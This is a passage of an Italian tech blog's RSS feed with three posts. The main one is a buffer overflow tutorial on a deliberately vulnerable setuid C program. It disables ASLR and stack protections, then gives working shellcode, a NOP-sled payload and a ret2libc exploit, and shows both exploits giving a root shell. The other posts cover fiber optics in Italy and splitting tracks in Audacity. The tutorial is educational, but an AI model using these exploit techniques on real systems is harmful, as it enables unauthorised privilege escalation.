flashvars="config_settings_showUpdatedInFooter=true&amp;config_settings_showPopoutButton=false&amp;playlist=http%3A%2F%2Fnews%2Ebbc%2Eco%2Euk%2Fmedia%2Femp%2F7940000%2F7940400%2F7940485%2Exml&amp;config=http%3A%2F%2Fnews%2Ebbc%2Eco%2Euk%2Fplayer%2Femp%2Fconfig%2Fdefault%2Exml%3F1%2E3%2E114%5F2%2E14%2E10344%5F10753%5F20090817121631&amp;config_settings_language=default&amp;config_settings_showFooter=true&amp;config_plugin_fmtjLiveStats_pageType=eav6&amp;config_settings_showPopoutButton=false&amp;config_settings_showPopoutCta=false&amp;config_settings_addReferrerToPlaylistRequest=true" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Alla prossima!</p>
]]></content:encoded>
			<wfw:commentRss>http://manzotti.eu/analizziamo-una-botnet-con-zeus-tracker/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Le basi del BOF Buffer overflow</title>
		<link>http://manzotti.eu/le-basi-del-bof-buffer-overflow</link>
		<comments>http://manzotti.eu/le-basi-del-bof-buffer-overflow#comments</comments>
		<pubDate>Thu, 01 Jul 2010 14:00:14 +0000</pubDate>
		<dc:creator>manzotti</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[bof]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[c#]]></category>
		<category><![CDATA[gdb]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=816</guid>
		<description><![CDATA[Rispolvero tra le bozze un vecchio post che avevo scritto secoli e secoli fa. Non so per quale diavolo di motivo non l&#8217;ho più pubblicato. Forse le migliaia di cose da fare hanno fatto si che me ne dimenticassi. Buona lettura&#8230;
Dopo l&#8217;articolo sulle basi dell&#8217;assembly e del debugging, vediamo in questo come implementare la tecnica [...]]]></description>
			<content:encoded><![CDATA[<p>Rispolvero tra le bozze un vecchio post che avevo scritto secoli e secoli fa. Non so per quale diavolo di motivo non l&#8217;ho più pubblicato. Forse le migliaia di cose da fare hanno fatto si che me ne dimenticassi. Buona lettura&#8230;</p>
<p>Dopo l&#8217;articolo sulle <a href="http://manzotti.eu/le-basi-dellassembly-e-del-debugging-su-unix">basi dell&#8217;assembly e del debugging</a>, vediamo in questo come implementare la tecnica del <a href="http://en.wikipedia.org/wiki/Buffer_overflow">buffer overflow</a>.</p>
<p><a href="http://manzotti.eu/wp-content/uploads/2010/07/hexdump1.jpg"><img src="http://manzotti.eu/wp-content/uploads/2010/07/hexdump1-299x193.jpg" alt="" title="hexdump1" width="299" height="193" class="aligncenter size-medium wp-image-1739" /></a></p>
<p>Senza perderci troppo sulla teoria che rimando a <a href="http://en.wikipedia.org/wiki/Buffer_overflow">wikipedia</a>, cerchiamo di sfruttare un codice vulnerabile per ottenere la shell di root.</p>
<p>Innanzitutto se utilizziamo un kernel superiore al 2.4 è necessario disattivare la randomizzazione dello stack:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;"># sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0</pre></div></div>

<p>Per riabilitarlo invece:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">root@bt:~# sysctl -w kernel.randomize_va_space=3</pre></div></div>

<p><strong>vuln.c</strong></p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">**</span>argv<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
          <span style="color: #993333;">char</span> buf<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">8</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
          strcpy<span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
          <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Hello %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> buf<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Compiliamo:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;"># gcc -o vuln vuln.c -z execstack -fno-stack-protector -mpreferred-stack-boundary=2
vuln.c: In function ‘main’:
vuln.c:3: warning: incompatible implicit declaration of built-in function ‘strcpy’
vuln.c:4: warning: incompatible implicit declaration of built-in function ‘printf’</pre></div></div>

<p>Ricordiamoci di utilizzare le opzioni <i><u>-z execstack</u> <u>-fno-stack-protector</u> <u>-mpreferred-stack-boundary=2</u></i> per il kernel 2.6.x e settiamo il suid:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">#chmod +s vuln</pre></div></div>

<p>Procuriamoci uno shellcode da <a href="http://shellcode.org/Shellcode/linux/null-free/">shellcode.org</a> testiamo il suo funzionamento:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">char</span> main<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span>
     <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xeb</span><span style="color: #660099; font-weight: bold;">\x19</span><span style="color: #660099; font-weight: bold;">\x5e</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x46</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xdb</span><span style="color: #660099; font-weight: bold;">\x31</span>&quot;</span>
     <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xc9</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc0</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x0b</span><span style="color: #660099; font-weight: bold;">\x89</span>&quot;</span>
     <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xf3</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\x57</span><span style="color: #660099; font-weight: bold;">\x56</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\x31</span>&quot;</span>
     <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xd2</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\xe8</span><span style="color: #660099; font-weight: bold;">\xe2</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\xff</span>&quot;</span>
     <span style="color: #ff0000;">&quot;/bin/sh&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Testiamo il suo corretto funzionamento:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">root@bt:# gcc -o shellcode shellcode.c
root@bt:# ./shellcode
#</pre></div></div>

<p>Bene ora possiamo esportare il tutto in una variabile d&#8217;ambiente aggiungendo anche del nop code.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">user@bt$ export SH=`perl -e 'print &quot;\x90&quot;x64,&quot;\xeb\x1d\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x8d\x4e\x08\x8d\x56\x0c\x89\xf3\xb0\x0b\xcd\x80\x40\x31\xdb\xcd\x80\xe8\xde\xff\xff\xff/bin/sh&quot;'`</pre></div></div>

<p>Ora non ci resta che individuare dove è localizzata la variabile d&#8217;ambiente appena creata.</p>
<p><strong>get.c</strong></p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>argv<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
          <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;The address of %s is %p<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> getenv<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
          <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Compiliamo e cerchiamo l&#8217;indirizzo della variabile d&#8217;ambiente:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">user@$ ./get SH
The address of SH is 0xbffffed4</pre></div></div>

<p>Ora possimao lanciare l&#8217;exploit sull&#8217;indirizzo appena trovato:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">user@bt$ ./get SH
The address of SH is 0xbffffed4
user@bt:/root/Downloads/BOF_hakin9$ ./vuln `perl -e 'print &quot;\xd4\xfe\xff\xbf&quot;x4'`
Hello ����������������
# whoami
root</pre></div></div>

<p>Possiamo fare anche la stessa cosa senza utilizzare una variabile d&#8217;ambiente e shellcode, ma cercando il binario direttamente nella memoria.</p>
<p><strong>find.c</strong></p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #339933;">#include &lt;stdlib.h&gt;</span>
<span style="color: #339933;">#define BASE_ADDR    0xb7e7d000</span>
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
           <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>ptr<span style="color: #339933;">=</span>BASE_ADDR<span style="color: #339933;">;</span>
           <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                     <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>strncmp<span style="color: #009900;">&#40;</span>ptr<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;/bin/sh&quot;</span><span style="color: #339933;">,</span><span style="color: #0000dd;">7</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                                <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;%p : %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>ptr<span style="color: #339933;">,</span>ptr<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                                <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
                     <span style="color: #009900;">&#125;</span>
                     ptr<span style="color: #339933;">++;</span>
           <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Compiliamo con le stesse opzioni adottatte per vuln.c</p>
<p>Analizziamo lo stack address:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">user@bt$ gdb -q vuln
(gdb) b main
Breakpoint 1 at 0x80483fa
(gdb) run
Starting program: /vuln
&nbsp;
Breakpoint 1, 0x080483fa in main ()
Current language:  auto; currently asm
(gdb) x/x system
0xb7ea7a90 &lt;system&gt;:    0x890cec83
(gdb) q
The program is running.  Exit anyway? (y or n) y</pre></div></div>

<p>Nel caso in cui avessimo uno stack dinamico, l&#8217;indirizzo <strong>0xb7ea7a90</strong> cambierebbe ogni volta.</p>
<p>Cerchiamo la nostra shell in memoria:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">user@bt$ ./find
0xb7faab33 : /bin/sh</pre></div></div>

<p>Bene ora non ci resta che lanciare l&#8217;exploit:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">user@bt$ ./vuln `printf &quot;aaaabbbbcccc\x90\x7a\xea\xb7aaaa\x33\xab\xfa\xb7&quot;`
Hello aaaabbbbcccc�z��aaaa3���
# whoami
root</pre></div></div>

<p>Questo articolo ha il solo scopo didattico, infatti con l&#8217;utilizzo di kernel aggiornati potrebbero verificarsi errori e/o Segmentation Fault.</p>
]]></content:encoded>
			<wfw:commentRss>http://manzotti.eu/le-basi-del-bof-buffer-overflow/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fibra Ottica in Italia</title>
		<link>http://manzotti.eu/fibra-ottica-in-italia</link>
		<comments>http://manzotti.eu/fibra-ottica-in-italia#comments</comments>
		<pubDate>Thu, 01 Jul 2010 08:40:33 +0000</pubDate>
		<dc:creator>manzotti</dc:creator>
				<category><![CDATA[Reti e Telecomunicazioni]]></category>
		<category><![CDATA[fibra]]></category>
		<category><![CDATA[italia]]></category>
		<category><![CDATA[ottica]]></category>
		<category><![CDATA[telecomunicazioni]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=1742</guid>
		<description><![CDATA[
Ottimo video realizzato da Stefano Quintarelli che illustra in modo molto esplicativo lo stato della fibra ottica in Italia. Da vedere assolutamente!!!

Fonte: AreaNetworking
]]></description>
			<content:encoded><![CDATA[<p><a href="http://manzotti.eu/wp-content/uploads/2010/07/optical-fibre.jpg"><img src="http://manzotti.eu/wp-content/uploads/2010/07/optical-fibre-300x253.jpg" alt="" title="optical-fibre" width="300" height="253" class="aligncenter size-medium wp-image-1743" /></a></p>
<p>Ottimo video realizzato da <a href="http://blog.quintarelli.it/">Stefano Quintarelli</a> che illustra in modo molto esplicativo lo stato della fibra ottica in Italia. Da vedere assolutamente!!!</p>
<p><object width="520" height="385"><param name="movie" value="http://www.youtube.com/v/q5utAdeDxzw&#038;color1=0xb1b1b1&#038;color2=0xd0d0d0&#038;hl=it_IT&#038;feature=player_embedded&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowScriptAccess" value="always"></param><embed src="http://www.youtube.com/v/q5utAdeDxzw&#038;color1=0xb1b1b1&#038;color2=0xd0d0d0&#038;hl=it_IT&#038;feature=player_embedded&#038;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="520" height="385"></embed></object></p>
<p>Fonte: <a href="http://www.areanetworking.it/ecco-perche-e-fondamentale-una-nuova-rete-in-fibra-ottica.html">AreaNetworking</a></p>
]]></content:encoded>
			<wfw:commentRss>http://manzotti.eu/fibra-ottica-in-italia/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Dividere le tracce con Audacity</title>
		<link>http://manzotti.eu/dividere-le-tracce-con-audacity</link>
		<comments>http://manzotti.eu/dividere-le-tracce-con-audacity#comments</comments>
		<pubDate>Wed, 30 Jun 2010 13:56:00 +0000</pubDate>
		<dc:creator>manzotti</dc:creator>
				<category><![CDATA[Mac OSX]]></category>
		<category><![CDATA[audacity]]></category>
		<category><![CDATA[dividere]]></category>
		<category><![CDATA[mac]]></category>
		<category><![CDATA[masterizzare]]></category>
		<category><![CDATA[tracce]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=1720</guid>
		<description><![CDATA[Ci ho messo un po&#8217; per capire come funziona Audacity lo ammetto! Ma poi tutto ha funzionato alla perfezione.
Per dividere una traccia lunga in segmenti più piccoli basta semplicemente importare il WAV, MP3 o AIFF e con il Selection Tool (la prima casellina sopra lo zoom per intenderci) clicchiamo nella parte che vogliamo dividere. Premiamo [...]]]></description>
			<content:encoded><![CDATA[<p>Ci ho messo un po&#8217; per capire come funziona <a href="http://audacity.sourceforge.net/?lang=it">Audacity</a> lo ammetto! Ma poi tutto ha funzionato alla perfezione.<br />
Per dividere una traccia lunga in segmenti più piccoli basta semplicemente importare il <strong>WAV</strong>, <strong>MP3</strong> o <strong>AIFF</strong> e con il <em>Selection Tool</em> (la prima casellina sopra lo zoom per intenderci) clicchiamo nella parte che vogliamo dividere. Premiamo <strong>CMD + B</strong> e ripetiamo il tutto fino all&#8217;ultima traccia che intendiamo separare.</p>
<p><a href="http://manzotti.eu/wp-content/uploads/2010/06/Schermata.png"><img src="http://manzotti.eu/wp-content/uploads/2010/06/Schermata-300x116.png" alt="" title="Schermata" width="300" height="116" class="aligncenter size-medium wp-image-1721" /></a></p>
<p>A lavoro terminato esportiamo cliccando su <em>Export Multple</em> dal menù <em>File</em>. Selezioniamo l&#8217;estensione, nel mio caso ho utilizzato AIFF e la directory di destinazione. Infine apriamo iTunes creiamo una nuova playlist, copiamo i file appena divisi e masterizziamo.</p>
<p>A presto.</p>
]]></content:encoded>
			<wfw:commentRss>http://manzotti.eu/dividere-le-tracce-con-audacity/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
